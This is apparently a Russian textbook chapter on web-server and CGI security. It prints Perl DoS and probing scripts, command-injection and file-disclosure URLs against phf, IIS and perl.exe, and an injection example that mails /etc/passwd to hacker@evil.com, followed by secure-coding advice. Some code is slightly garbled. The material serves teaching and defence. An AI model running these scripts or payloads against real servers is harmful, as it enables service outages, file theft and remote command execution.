Поскольку многие серверы не устанавливают ограничение на количество передаваемых в заголовке клиентского запроса полей, существует возможность атаковать сервер такими запросами, что во многих случаях приводит если не к зависанию, то к сильному замедлению работы сервера. Атаки этого вида получили название Sioux Attack (первая программа, демонстрирующая эту атаку, посылала 10 000 заголовков «User-Agent: sioux\r\n»). Вот пример скрипта на perl, реализующего атаку путем формирования потока фиктивных заголовков размером 8 Кб каждый:

#!/usr/bin/perl -w

use Socket;

# Usage : $0 host [port [max] ]

$max= 0;

if ($ARGV[2])

{

$max= $ARGV[2];

}

$proto = getprotobyname(’tcp’);

socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);

$port = 80;

if ($ARGV[1])

{

$port= $ARGV[1];

}

$host = $ARGV[0];

$sin = sockaddr_in($port,inet_aton($host));

connect(Socket_Handle,$sin);

send Socket_Handle,"GET / HTTP/1.0\n",0;

$val= (’z’x8192)."\n";

$n= 1;

$|= 1;

while (Socket_Handle)

{

send Socket_Handle,"Stupidheader$n: ",0;

send Socket_Handle,$val,0;

$n++;

if (!($n % 100))

{

print "$n\n";

}

if ($max && ($n > $max))

{

last;

}

print "Done: $n\n";

send Socket_Handle,"\n",0;

while (<Socket_Handle>)

{

print $_;

}

В последних версиях Apache для борьбы с подобными атаками появилась директива LimitRequestFields, позволяющая ограничить количество заголовков в обрабатываемом http-запросе.

IIS 3.0 был подвержен другой DoS-атаке, связанной с получением запроса вида http://www.victim.com/path?name=XXXX…

Если пара имя/значение имеет определенную длину (свою для каждого сервера, однако колеблется около 8 Кб), в процессе inetinfo.exe возникает нарушение доступа, приводящее к прекращению работы сервиса WWW. Причем совершенно необязательно, чтобы на сервере существовал документ или скрипт path – до вызова документа дело просто не доходит. Подбирать нужную длину запроса можно вручную или с помощью, к примеру, такой программы:

#!/usr/bin/perl -w

use Socket;

$proto = getprotobyname(’tcp’);

$port = 80;

$host = "www.victim.com";

$sin = sockaddr_in($port,inet_aton($host));

for ($i = 8000; $i<9000; $i++)

{

print "\nTrying $i symbols: \n";

$value = ’z’x$i;

socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);

if(!connect(Socket_Handle,$sin))

{

$n = $i+4;

print "\n\nLooks like we got it: $n symbols";

exit;

}

send Socket_Handle,"GET /path?name=$value HTTP/1.0\n",0;

send Socket_Handle,"User-Agent: my agent\n",0;

send Socket_Handle,"\n",0;

while (<Socket_Handle>)

{

print $_;

}

Проверяя эту уязвимость, мы выяснили, что проблема проявилась во время отправки запроса длиной 8 181 байт. При этом Dr. Watson вывел следующее сообщение об ошибке в программе INETINFO.EXE: «Access violation, address 0x77A07614». В результате более подробного рассмотрения дампа ошибки выяснилось, что по этому адресу в программе идет код CMPSB (сравнение строк), использующий ESI и EDI как базовые указатели. Очевидно, они вышли за пределы разрешенной области, что и спровоцировало ошибку. Следовательно, подтверждается вывод: такая уязвимость не приведет к исполнению «троянского» кода (как обычно это бывает при переполнении буфера), а приведет только к остановке сервиса WWW.

При проверке этой уязвимости выяснилось, что наличие CGI-запроса также необязательно. Был подобран запрос вида http://www.victim.com/././././././././././ … длиной 8 206 байт, вызывавший в точности такую же картину. Любопытно, что запросы больше или меньше на 2 байта ни к каким сообщениям INETINFO не приводили.

Очень старая ошибка в MS IIS – зная путь до. cmd– или .bat-файла на сервере, можно добиться выполнения своих команд, передав их следующим образом:

http://www.victim.com/scripts/script.bat?&COMMAND1+?&COMMAND2+?&…+?&COMMANDN.

Все в том же IIS адрес вида http://www.victim.com/..\… позволял просматривать файлы вне корневого каталога Web-сервера, выполнять скрипты и т. д. Правда, это не работало в случае ограничения доступа к этим файлам пользователю IUSR_hostname.

Ошибки во вспомогательных программах

В комплекте с серверами обычно поставляются всевозможные вспомогательные утилиты, примеры CGI-скриптов и т. д. При обновлении серверных программ вполне может возникнуть ситуация, когда вместе с новыми утилитами и примерами продолжают трудиться и старые, со всеми испытанными ошибками.

Классический и, наверное, известный всем, но до сих пор встречающийся образец – скрипт phf. Это вовсе не специально оставленный «черный вход», как можно подумать, глядя на результаты его использования, а всего лишь пример скрипта ведения телефонной книги, распространявшийся со старыми версиями Apache и некоторыми другими серверами. Для желающих проверить на прочность современные серверы – в конфигурационных файлах, приходящих с последними версиями Apache, достаточно раскомментировать четыре строчки, чтобы все попытки обращения к phf перенаправлялись на сервер http:// phf.apache.org/phf_abuse_log.cgi. Впрочем, многие администраторы слишком ленивы, чтобы выполнить это.

Проблема в следующем: встретив в командной строке символ перевода строки (0x0a), он ведет себя иначе: строка http://www.victim.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= приведет к выполнению на сервере команды cp /etc/passwd ~someuser/passwd, а http://www.victim.com/cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd – к выполнению команды /bin/cat /etc/passwd.

Аналогичная проблема с 0x0a существует у скрипта campus.cgi, распространяемого с NCSA server, а также у некоторых других. Все эти ошибки, связанные с переводом строки, были вызваны тем, что пример кода на C (cgi_src/util.c), распространявшийся долгое время с NCSA httpd в качестве примера, как надо писать безопасные скрипты CGI, не содержал символа перевода строки в списке символов, запрещенных для передачи оболочке операционной системы. В итоге страдали все скрипты, использующие эту библиотеку.

Со скриптами test или test-cgi, включаемыми некоторыми серверами для проверки правильности передачи серверу переменных окружения, связана другая ошибка. Вот примерное содержимое этого скрипта:

#!/bin/sh

echo SERVER_SOFTWARE = $SERVER_SOFTWARE

echo SERVER_NAME = $SERVER_NAME

echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE

echo SERVER_PROTOCOL = $SERVER_PROTOCOL

echo SERVER_PORT = $SERVER_PORT

echo REQUEST_METHOD = $REQUEST_METHOD

echo HTTP_ACCEPT = "$HTTP_ACCEPT"

echo PATH_INFO = "$PATH_INFO"

echo PATH_TRANSLATED = "$PATH_TRANSLATED"

echo SCRIPT_NAME = "$SCRIPT_NAME"

echo QUERY_STRING = $QUERY_STRING

echo REMOTE_HOST = $REMOTE_HOST

echo REMOTE_ADDR = $REMOTE_ADDR

echo REMOTE_USER = $REMOTE_USER

echo AUTH_TYPE = $AUTH_TYPE

echo CONTENT_TYPE = $CONTENT_TYPE

echo CONTENT_LENGTH = $CONTENT_LENGTH

Передача «*» серверу в качестве QUERY_STRING приводит к выдаче списка содержимого каталога cgi-bin (модификация – передача «/» или любого другого пути). После исправления ошибки (заключающейся в установке кавычек вокруг $QUERY_STRING) настала очередь SERVER_PROTOCOL. В обычной ситуации она принимает значение вида «HTTP/1.0», но, как выяснилось, Apache прекрасно проглатывал любое другое значение, что позволило передавать злосчастную звездочку в этой переменной окружения.

Ошибки в файлах-примерах для PHP (PHP – скриптовый язык, выполняемый на серверной стороне, нечто аналогичное Microsoft ASP): mlog.html и mylog.html включают строчку <?include "$screen">.

Поскольку здесь отсутствует какая бы то ни было фильтрация, никто не мешает передать этому скрипту полный путь до любого файла: http:/ /www.victim.com/logs/mlog.html?screen=/etc/passwd.

Огромное количество ошибок связано с расширениями FrontPage (FPE). FrontPage – это не только WYSIWYG-редактор html-кода, относиться к которому можно по-разному, но и мощное средство администрирования Web-сайта. Чтобы воспользоваться всеми возможностями FrontPage, на сервер должны быть установлены дополнительные средства, так называемые расширения FrontPage, которые разработаны для различных платформ и серверов. Тут-то нас и подстерегают некоторые неожиданности.

Начнем с того, что при установке FrontPage 1.1 пользователь IUSR_hostname получал право доступа Full Control к каталогу _vti_bin и файлу shtml.exe, а взломщик, подобрав пароль этого пользователя, получал доступ к каталогу с исполняемыми файлами.

Чуть позже выяснилось, что пароли для сайта можно спокойно взять из файлов http://www.victim.com/_vti_pvt/administrators.pwd, http://www.victim.com/_vti_pvt/authors.pwd и http://www.victim.com/_vti_pvt/service.pwd (по умолчанию доступ к этим файлам открыт для всех желающих).

Дальше – больше. При установке FPE на Apache его настройки корректируются таким образом, что любой файл, размещенный в подкаталогах с именем _vti_bin, может быть выполненным. Очень удобно для запуска cgi-скриптов на серверах, не дающих такой возможности.

Вообще, стандартные имена конфигурационных файлов предоставляют широкие возможности по поиску серверов с установленными FPE – достаточно послать запрос на поиск, к примеру, _vti_inf.html.

Ошибки администрирования

Любая система может оказаться совершенно незащищенной из-за незначительной на первый взгляд ошибки в администрировании.

Так, Apache включает директиву UserDir, определяющую подкаталог в пользовательском каталоге, из которого берутся html-файлы при обращении вида /~user. Установив директиву в /usr/*/public_html, мы получим трансляцию адреса вида http://www.victim.com/~user/dir/file.html в путь /usr/user/public_html/dir/file.html. По умолчанию этой директиве присвоено значение public_html. Некоторые серверы, не найдя соответствующий каталог, переадресуют нас в домашний каталог пользователя user. Далее мы можем пробовать обращения типа http://www.victim.com/~root/etc/passwd, http://www.victim.com/~uucp/etc/passwd и т. д. Аналогичный эффект получится, если установить UserDir в «./». Поэтому в версиях Apache 1.3 и выше рекомендуется использовать директиву UserDir disabled root.

К ошибкам конфигурирования относятся и упомянутые в предыдущем разделе ошибки FrontPage, в то же время правильное администрирование может минимизировать вред от многочисленных ошибок IIS.

Совершенно изумительных результатов можно добиться, поместив perl.exe в каталог cgi-bin любого сервера на PC-платформе (или любой другой каталог, из которого разрешен запуск CGI-скриптов). Определить такой сервер можно по использованию на нем адресов вида http://www.victim.com/cgi-bin/perl.exe?script.pl. Одно время такая практика была очень распространена (это рекомендовалось компанией Netscape для выполнения perl-скриптов на ее сервере, не поддерживающем механизма ассоциации файловых расширений с исполняемыми приложениями), но понемногу сошла на нет, что было связано с распространением скриптов (подобных приведенному ниже), позволяющих выполнить на удаленной машине любой perl-код.

#!/usr/bin/perl -w

#####################################################################

# latrodectus cyberneticus – probe web for insecure perl installations

# tchrist@perl.com

# version 1.0, Thu Mar 28 17:53:42 MST 1996

# requires the LWP library, fetchable from the CPAN multiplexor at

# http://www.perl.com/cgi-bin/cpan_mod?module=LWP

#####################################################################

#AUTHOR: Tom Christiansen <tchrist@perl.com>

#Last update: Thu Mar 28 17:53:42 MST 1996

require 5.002;

use strict;

use LWP::UserAgent;

my $PROGNAME = "latrodectus cyberneticus";

my $VERSION = "1.0";

my $DEF_CGI_BIN = "/cgi-bin";

# Имя интерпретатора perl на удаленной машине,

# стоит попробовать и perl.exe, и perl.com

my $DEF_PERL_PATH = "/perl.exe";

# Заносим в переменную $PROGRAM текст, начинающийся

# после слов __END__, – нашу программу, которая будет

# выполняться на удаленном сервере

my $PROGRAM = join qq===><DATA>;

$| = 1;

if (@ARGV) {

for (@ARGV) { probe($_) }

} elsif (!-t STDIN) {

while (<STDIN>) {

chomp;

probe($_);

}

} else {

die "usage: $0 [site ...]\n";

}

sub probe {

my $site = shift;

my $cgi_bin = ’’;

my $perl_path = ’’;

my $pre_site = ’’;

if ($site !~ m#/#) {

$cgi_bin = $DEF_CGI_BIN;

}

if ($site !~ /perl/) {

$perl_path = $DEF_PERL_PATH;

}

if ($site !~ m#^//#) {

$pre_site = ’//’;

}

my $ua = LWP::UserAgent->new();

$ua->agent("$PROGNAME, v$VERSION");

#Формируем полный url интерпретатора

my $full_targ = ’http:’ . $pre_site . $site . $cgi_bin . $perl_path;

printf "%-35s ", $site;

# Открываем соединение

my $req = HTTP::Request->new( POST => $full_targ );

# Посылаем нашу программу

$req->content_type(’application/x-www-form-urlencoded’);

$req->content($PROGRAM);

#Получаем ответ

my $res = $ua->request($req);

# Проверяем, выполнилась ли наша программа

if ($res->is_success) {

if ($res->content =~ /WWW Black Widow/) {

print "<<<< COMPROMISED >>>\n";

} else {

my $oops = $res->content;

$oops =~ s/\n/ /g;

print "APPREHENDED: $oops\n";

}

} else {

my $oops = $res->code . " " . $res->message;

if ($res->code == 404) {

print "SAFE: $oops";

} else {

print "ERROR: $oops";

}

print "\n" unless $oops =~ /\n$/;

}

__END__

# Здесь начинается код, который будет выполнен на удаленной

# машине. Сначала выводится некий текст для проверки

# работы скрипта

print <<EOF;

Content-Type: text/plain

The WWW Black Widow was here.

EOF

# Ну а здесь уже можно написать что угодно – от простого

# сообщения администратору о найденной дырке, до чего-нибудь

# типа

# system("rm -rf * /*");

# system("format a:");

# system("ls -lR");

# system("dir");

# unlink <* *.* /*>;

print "If I were nasty, you’d be spiderfood by now.\n";

print "\n\n\t–the black widow\n";

__END__

Если под рукой нет Perl, можно попробовать просто дать команду типа http://www.victim.com/cgi-bin/perl.exe?&-e+unlink+%3C*%3E. Аналогичные проблемы возникают при реализации PHP в качестве cgi-скрипта и его размещении в каталоге cgi-bin.

Безопасность CGI-приложений

Устанавливая последнюю версию Web-сервера, мы можем быть уверены хотя бы в том, что она не содержит очевидных ошибок, опубликованных по всей Сети пару лет тому назад. На появление новых ошибок производители реагируют достаточно быстро, а задача администратора сводится к тому, чтобы быть в курсе происходящего. С CGI-приложениями ситуация несколько иная – на сей раз в роли разработчика зачастую выступают владельцы сайтов, которые должны сами заботиться о безопасности приложений. Не стоит особо доверять и готовым скриптам, так как огромное количество ошибок обнаруживается именно в примерах, поставляемых вместе с Web-серверами, а также во многих популярных скриптах.

Вопросам безопасности, наиболее часто встречающимся ошибкам и методам создания безопасных CGI-приложений и посвящен этот раздел.

Общие сведения

CGI (Common Gateway Interface – общий шлюзовой интерфейс) представляет собой компонент Web-сервера, обеспечивающий взаимодействие с другими программами, выполняемыми на этом сервере. Используя CGI, Web-сервер вызывает внешнюю программу (CGI-приложение) и передает ей информацию, полученную от клиента (например, переданную Web-браузером). Далее CGI-приложение обрабатывает полученную информацию и результаты ее работы передаются клиенту.

Рассмотрим эти этапы чуть подробнее. Взаимодействие между клиентом и серверным приложением осуществляется по схеме, представленной на рис. 10.5.

Рис. 10.5. Схема взаимодействия браузера, WWW-сервера и cgi-приложения

1. Пользователь заполняет экранную форму и нажимает на кнопку Submit. Возможен также запрос при непосредственном использовании адреса CGI-приложения – указывая его в строке Location браузера, в тэге <img>, с помощью средств включения сервера (SSI) и т. д.

2. На основе информации из формы браузер формирует HTTP-запрос и отправляет его серверу. Информация приводится к виду param1=value1¶m2=value2…¶mN=valueN. Если указано, что при передаче должен использоваться метод GET, эта строка передается непосредственно в URL (например, http://www.somehost.com/cgi-bin/script.cgi?param1=value1¶m2=value2). При использовании метода POST через заголовок передается информация о типе содержимого запроса (для форм это, как правило, application/x-www-form-urlencoded), а также длина строки. Сама строка в этом случае передается непосредственно в теле запроса (примеры приведены чуть ниже). В заголовках запроса также передается значительное количество вспомогательной информации: тип браузера, адрес страницы, с которой был произведен запрос, и т. д.

3. Сервер вызывает CGI-приложение и в зависимости от метода запроса передает информацию из формы через переменную окружения QUERY_STRING (в случае GET) либо через стандартный ввод (в случае POST). Также формируются другие переменные окружения, такие как HTTP_USER_AGENT, REMOTE_HOST и др.

4. CGI-приложение считывает строку с переданной информацией со стандартного ввода (stdin) или из переменной окружения QUERY_STRING. Обработав информацию, программа, как правило, либо переадресует браузер на некоторый существующий документ с помощью http-заголовка Location, либо cформирует виртуальный документ, посылая информацию на стандартный вывод (stdout). Телу документа предшествуют HTTP-заголовки, описывающие тип возвращаемых данных, управляющие кэшированием, работой с cookies и т. д. Все это передается серверу.

5. Сервер пересылает ответ CGI-приложения браузеру.

6. Браузер, основываясь на заголовках HTTP, интерпретирует ответ CGI-приложения и выводит его для просмотра пользователем.

Реализовать CGI-приложение можно на любом языке, способном генерировать код для серверной платформы или для которого доступен интерпретатор. Так, простейшее CGI-приложение может быть реализовано на языке пакетных файлов DOS, на Delphi, С/С++, Tcl, Visual Basic, AppleScript, FoxPro и т. д. Широкое распространение в качестве языка для CGI-приложений получил Perl. Синтаксис Perl унаследован в первую очередь от С, в него добавлены расширенные средства для работы со строками, регулярными выражениями, ассоциативными массивами и т. д. Это интерпретируемый язык, изначально созданный для UNIX-систем, сейчас его интерпретаторы доступны для большинства популярных архитектур, что делает особенно легким перенос приложений.

CGI-приложения были первым средством «оживления» статичных Web-страниц. Их главная особенность в том, что они выполняются на сервере. Java, JavaScript, ActiveX появились позднее и, в отличие от cgi, предназначались преимущественно для создания приложений на клиентской стороне. Но даже такая тривиальная задача, как установка счетчика посещений страницы, уже требует серверного решения. О плюсах серверных решений можно говорить долго, но нас сейчас интересует совсем другой вопрос – некорректно написанное CGI-приложение может стать источником весьма серьезных проблем.

Ответственность разработчика CGI-приложения ничуть не меньше ответственности разработчика Web-сервера. Ошибка и того, и другого может привести к одинаково печальным последствиям. Однако мало кто занимается написанием Web-серверов для души – все-таки это удел профессионалов, в то время как количество желающих развлечься CGI-программированием постоянно растет, и с плодами их творчества мы сталкиваемся все чаще и чаще.

Распространенные ошибки

Основная ошибка начинающих программистов – надежда на то, что пользователь будет себя вести «хорошо» и обращаться с программой именно так, как задумано автором. Это справедливо не только для CGI-приложений, но и для любого программного обеспечения, однако когда автор многочисленных утилит «для себя» решает попробовать свои силы в программировании для серверов, он немедленно попадает в другую весовую категорию. Ему может казаться, что он продолжает писать «для себя», в действительности же его потенциальными пользователями становятся все обитатели сети, а уж от них ждать снисхождения не приходится. И не стоит успокаивать себя тем, что CGI-приложения выполняются в контексте пользователя с минимальными правами – даже в хорошо сконфигурированной системе этих прав зачастую достаточно для выдачи информации, которой можно воспользоваться при взломе системы.

Поэтому особенно важно с самого начала четко представлять, какие подводные камни ожидают CGI-программиста, чтобы по возможности избежать горького опыта обучения на собственных ошибках.

Несколько слов о выборе средств разработки. Компилируемые языки, такие как C/C++, имеют некоторое преимущество в том смысле, что на сервере отсутствует исходный код приложения, а это сильно затрудняет возможность его исследования – в отличие от интерпретируемых языков (например, Perl). В штатных условиях код последних также недоступен, но всегда есть возможность добраться до него, используя какие-то ошибки сервера или просто находя сохраненную резервную копию. С другой стороны, исходные тексты популярных CGI-приложений и так достаточно распространены в сети, кроме того, тот же Perl имеет встроенные механизмы обеспечения безопасности выполняемых скриптов, так что нельзя априори утверждать, что программа на C будет безопасней аналогичной программы на Perl. Все дальнейшие рассуждения по большей части применимы как к компилируемым, так и к интерпретируемым программам.

Во-первых, самая распространенная ошибка для программистов на C/ C++, как обычно, связана с возможностью переполнения буфера (см. главу 9). Эта проблема особенно характерна для C/C++, поскольку программисту на Perl нет необходимости заботиться о ручном выделении памяти под строки.

Например, для получения данных, переданных методом POST, можно написать следующий код:

char buff [4096];

int length = atoi(getenv("CONTENT_LENGTH"));

fread(buff, 1, length, stdin);

Возможное переполнение буфера налицо. Справиться с этой проблемой очень легко – достаточно динамически выделить буфер требуемой длины:

int length = atoi(getenv(«CONTENT_LENGTH»));

char* buff = new char[length];

if(buff)

fread(buff, 1, length, stdin);

Потенциально опасны многие строковые функции, определяющие конец строки по завершающему нулю. Поэтому вместо функций strcpy, strcat, strcmp и т. п. настоятельно рекомендуется использовать их аналоги strncpy, strncat, strncmp, позволяющие указать максимальное количество обрабатываемых символов.

Казалось бы, можно ограничить объем вводимой информации указанием соответствующих параметров в тэгах формы, но это еще одно очень опасное заблуждение, которого мы коснемся чуть позже.

Возможно, именно из-за необходимости постоянно контролировать размер буфера многие начинающие (и не только) CGI-программисты предпочитают Perl.

Во-вторых, следующий большой класс ошибок связан с вызовом внешних программ. Здесь Perl предоставляет больше шансов для случайной ошибки – в то время как у С++ с этой точки зрения потенциально опасны функции popen и system (причем вместо последней часто можно безболезненно воспользоваться exec или spawn), у Perl проблемными считаются функции system и exec, open с перенаправлением вывода (аналогичная popen), функция eval, а также обратная кавычка «`».

Сами по себе перечисленные функции достаточно безопасны, и, если скрипт просто вызывает некую внешнюю программу, никакой беды в этом нет. Сложности возникают, когда скрипт передает внешней программе в качестве параметра некую информацию, введенную пользователем: адрес, сообщаемый программе электронной почты, вызов grep из поисковой системы и т. д. Если в процессе вызова внешней программы будет участвовать командная оболочка, как это происходит при использовании перечисленных функций, то можно воспользоваться ее управляющими символами и выполнить на сервере любую команду.

Очевидный пример – отправление письма по адресу, указанному пользователем (например, в качестве подтверждения какого-то запроса и т. п.):

#!/usr/bin/perl

use CGI qw(:standard);

$query = new CGI;

$mailprog=’| /usr/sbin/sendmail’;

$address= $query->param(’address’);

$from=’webmaster@somehost’;

open (MAIL,"$mailprog $address");

print MAIL "From: $from\nSubject: Confirmation\n\n";

print MAIL "Your request was successfully received\n";

close MAIL;

Теперь предположим, что пользователь ввел следующий обратный адрес: hacker@evil.com;mail hacker@evil.com </etc/passwd;, в результате чего выполнится команда /usr/sbin/sendmail hacker@evil.com;mail hacker@evil.com </etc/passwd; – явно не то, что мы ожидали (сравните, кстати, с атаками, описанными в главе 9).

Кроме того, при этом вполне может быть использована какая-нибудь недокументированная команда или люк, позволяющие выполнить код от имени привилегированного пользователя.

В-третьих, уязвимы программы, рассчитывающие на определенные значения специальных переменных, к примеру, на значение переменной PATH при вызове внешних программ. Нарушитель может попытаться изменить ее значение так, чтобы она указывала на программу, которую он хочет подставить для выполнения вашим сценарием вместо ожидаемой вами. Следовательно, необходимо либо указывать полный путь до исполняемой программы, либо устанавливать ее значение до первого использования. Причем не рекомендуется помещать в PATH текущий путь (данное правило, к сожалению, игнорируется во всех Windows-системах, начинающих поиск запускаемой программы именно с текущего каталога).

В-четвертых, опасным заблуждением является расчет на то, что ограничения, установленные в полях формы, а также значения спрятанных полей не будут никем модифицированы. В действительности же никто не может помешать пользователю подсмотреть значения скрытых полей в исходном коде страницы, скопировать страницу на свой диск, слегка модифицировать по своему усмотрению и проверить скрипт на прочность.

Первым барьером на этом пути обычно служит проверка переменной окружения HTTP_REFERER, хранящей URL страницы, с которой был вызван скрипт. Если HTTP_REFERER указывает на адрес, не имеющий ничего общего с адресом нашего сайта, можно смело игнорировать этот вызов, рассматривая его как атаку.

Использовать HTTP_REFERER эффективно в борьбе со спаммерами, засоряющими гостевые книги, доски объявлений и т. п. Конечно, в большинстве случаев помогает блокировка соответствующего IP-адреса, сочетающаяся с установкой cookie, однако более настойчивый пользователь может подготовить html-код с формой, вызывающей ваш скрипт гостевой книги, и пару строк на JavaScript, автоматически отправляющих эту форму, после чего разместить html-код в чужих гостевых книгах, разослать его по телеконференциям и т. п. При отсутствии проверки на HTTP_REFERER несколько веселых дней вам гарантировано.

К сожалению, не все так хорошо и с проверкой. Переменная HTTP_REFERER получает свое значение из http-заголовка Referer, передаваемого клиентом. Если в роли клиента выступает обычный браузер, этот заголовок действительно заполняется так, как мы и предполагали. Но проблема в том, что никто не помешает воспользоваться клиентом, ведущим себя менее добросовестно, к примеру, вот таким скриптом:

#!/usr/bin/perl -w

use Socket;

$proto = getprotobyname(’tcp’);

socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);

$port = 80;

$host = "www.victim.com";

$sin = sockaddr_in($port,inet_aton($host));

connect(Socket_Handle,$sin);

send Socket_Handle,"GET /cgi-bin/env.cgi?param1=val1¶m2=val2 HTTP/1.0\n",0;

send Socket_Handle,"Referer: any referer you wish\n",0;

send Socket_Handle,"User-Agent: my agent\n",0;

send Socket_Handle,"\n",0;

while (<Socket_Handle>)

{

print $_;

}

В нашем случае имитируется отправление данных формы методом GET, но для имитации метода POST (пример работы с POST приведен далее) тоже нет серьезных препятствий. С точки зрения безопасности эти методы примерно равнозначны. Некоторое предпочтение можно отдать POST, поскольку GET передает всю информацию непосредственно в URL, что делает ее более доступной для перехвата. Представим ситуацию, когда некоторая форма требует ввода имени и пароля и передает их методом GET. Далее динамически формируется страница, имеющая ссылку на другой сервер. Если посетитель уйдет по этой ссылке, то в качестве Referer в log-файл сервера будет записан тот самый URL, в котором открыто прописаны имя пользователя и его пароль. Опять же GET легче поддается имитации – для его подделки необязательно копировать и модифицировать код формы, достаточно набрать в адресной строке браузера подходящий URL.

В-пятых, ошибочно хранить критичную информацию в открытых для доступа файлах. Можно, конечно, утешать себя мыслью, что адреса файлов еще надо определить, но в любом случае это решение нельзя признать удачным: всегда есть шанс, что из-за плохой конфигурации сервера станет возможным просмотр списка файлов в каталоге и наша информация будет выставлена на всеобщее обозрение; нельзя исключать возможность распространения нашего скрипта – он завоюет популярность, его исходные тексты станут доступными по всей сети, и месторасположение секретных файлов опять-таки перестанет быть тайной. Поэтому файлы с критичной информацией желательно располагать в местах, по возможности вынесенных за пределы дерева каталогов Web-сервера или хотя бы защищенных от чтения (например, при использовании Apache этого можно добиться, разместив в защищаемом каталоге файл. htaccess со строкой deny all внутри).

Источник многих проблем для сайтов с установленными гостевыми книгами (или аналогичными скриптами) – html-тэги. Разрешив пользователю ввод тэгов, вы тем самым провоцируете атаку и на других пользователей, и на сервер. Последнее возможно в случае, если сервер сконфигурирован таким образом, что файлы, создаваемые скриптом, допускают использование SSI (Server Side Includes – директивы включения на стороне сервера). SSI позволяют вставить в html-документ результат выполнения некоторой программы, содержимое другого файла, значение переменной окружения и т. д. Директивы SSI имеют следующий вид:

<!–# команда параметр =" аргумент "–>

Например:

<!–#include virtual="/some.html"–> <!–#exec cgi="/cgi-bin/some.cgi"–>

Чтобы не допускать к использованию SSI всех посетителей сервера, можно разрешить SSI-директивы только в файлах с определенным расширением (обычно *.shtml), тогда в файлах *.html, создаваемых скриптами, команды SSI будут восприниматься как простой комментарий. Однако подобное решение далеко не всегда устроит разработчика сайта. Следующий способ – полная фильтрация тэгов. Самое простое – заменить все символы «<» и «>» на коды «<» и «>» соответственно:

$string =~ s/</</g; $string =~ s/>/>/g;

Другой вариант – удалить все, что находится внутри угловых скобок:

$string =~ s/<([^>]|\n)*>//g;

Опять же не все Web-мастера желают лишать своих посетителей возможности вставки кодов для красивого оформления текста. Тогда последнее, что остается сделать, – фильтровать часть кодов, оставляя лишь самые «безопасные». Это наиболее трудоемкий и потенциально опасный путь:

@BADTAG = (

"applet",

"script",

"iframe",

#и т. д., все "опасные" тэги

"img"

);

foreach $t(@BADTAG)

{

$string =~ s/<$t/<none/gi;

$string =~ s/</$t/</none/gi;

}

Такой подход чреват некоторыми опасностями. Например, известный скрипт formmail Мэтта Райта в последнее время фильтрует SSI следующим образом:

value =~ s/<!–(.|\n)*–>//g;

Это несомненный прогресс по сравнению с первыми версиями, просто пропускавшими SSI. Однако проблема в том, что Apache, по крайней мере, не требует присутствия закрывающих символов «->» для выполнения указанной директивы, поэтому злоумышленник может добиться своего, просто введя строку <!–#include virtual=”some.html”.

Казалось бы, можно справиться с проблемой, «выкусывая» <!– (value =~ s/<!–//g;), но и в этом случае остается обходной маневр: строка <<!–!–#include virtual=”some.html” в итоге преобразуется в <!–#include virtual=”some.html”.

Достаточно безопасной можно считать конструкцию while(s/<!–//g){}, хотя и у нее есть свои минусы. Похожие проблемы возникают на серверах, использующих ASP, PHP и т. д., причем большинство свободно распространяемых скриптов их просто игнорирует. Будьте крайне осторожны, адаптируя готовый скрипт к своему серверу, если он (сервер) умеет чуть больше, чем просто возвращать html-документы.

Создание безопасных CGI-приложений

Рассмотрим основные рекомендации по созданию безопасных CGI-приложений на Perl, позволяющие справиться с вышеописанными проблемами.

При использовании sendmail избавиться от ошибки очень легко – достаточно применить ключ «-t», запрещающий использовать адрес, переданный в командной строке, и передать его в заголовке письма:

...

$mailprog=’| /usr/sbin/sendmail -t’;

open (MAIL,"$mailprog ");

print MAIL "To: $address\nFrom: $from\nSubject: Confirmation\n\n";

print MAIL "Your request was successfully received\n";

received\n";

close MAIL;

Если же никак не удается избавиться от необходимости передачи пользовательского ввода оболочке, остается фильтровать в нем все специальные символы. Этих символов довольно много: <>|&;`’\”*$?~^()[]{}\n\r. Самое простое, что можно сделать, – удалить все спецсимволы из введенной строки с помощью конструкции примерно такого вида:

$metasymbols = «][<>\|&;`’\»*\$\?~\^(){}\n\r"; $string =~ s/[$metasymbols\\]//g;

Помимо этого постарайтесь гарантировать соответствие ввода предусмотренному шаблону. Скажем, для того же почтового адреса этим шаблоном может быть name@domain1.domain2, что чаще всего делается на Perl следующим образом:

die «Wrong address» if ($address !~ /^\w[\w\-.]*\@[\w\-.]+$/);

Здесь в начале и в конце строки ожидается один или несколько символов «a» – «z», «A» – «Z», «0» – «9», «-», «.» и «@» внутри, причем «-» или «.» не могут быть первыми. Правда, это не слишком помогает против атак, подобных приведенной выше, достаточно завершить наш псевдоадрес чем-нибудь типа ;@somewhere.ru. Если же у вас нет желания фильтровать спецсимволы, можно использовать другой вариант вызова функций system и exec, позволяющий передать не один аргумент, а список аргументов. В этом случае Perl не передает список аргументов в оболочку, а рассматривает первый аргумент как подлежащую выполнению команду и остальные аргументы – как параметры этой команды. Причем обычная для оболочки интерпретация спецсимволов не производится:

вместо system «grep $pattern $files»; использовать system «grep», «$pattern», «$files»;.

Этим же свойством можно воспользоваться для безопасного перенаправленного ввода/вывода. При этом нам понадобится знание того факта, что при открытии с перенаправлением вывода команды «-» мы неявно вызываем fork, создавая тем самым копию нашего процесса. В такой ситуации функция open возвращает 0 для дочернего процесса и pid дочернего процесса для родительского, что позволяет применять оператор or:

open (MAIL, «|-») or exec $mailprog, $address;

#open в родительском процессе возвращает ненулевое значение, и нет

#необходимости выполнять правую сторону or. Дочерний же процесс

#выполняет exec, после чего завершается.

print MAIL "From: $from\nSubject: Confirmation\n\n";

print MAIL "Your request was successfully received\n";

close MAIL;

В перечисленных методах есть один недостаток – они требуют явного применения и определенной культуры программирования. Программист должен заставлять себя писать безопасный код, никогда не будучи до конца уверенным в отсутствии ошибок.

Perl, запущенный в так называемом зараженном режиме (tainted mode), позволяет снять часть этого гнета. Чтобы попасть в такой режим, достаточно указать параметр «-T».

После этого работа Perl приобретает несколько параноидальный характер. Все переменные, проинициализированные за пределами программы, считаются зараженными и не могут быть переданы в качестве параметров потенциально опасным функциям, таким как system, exec, eval, unlink, rename и т. д. Попытка использовать их таким образом прервет выполнение скрипта с выдачей соответствующего предупреждения.

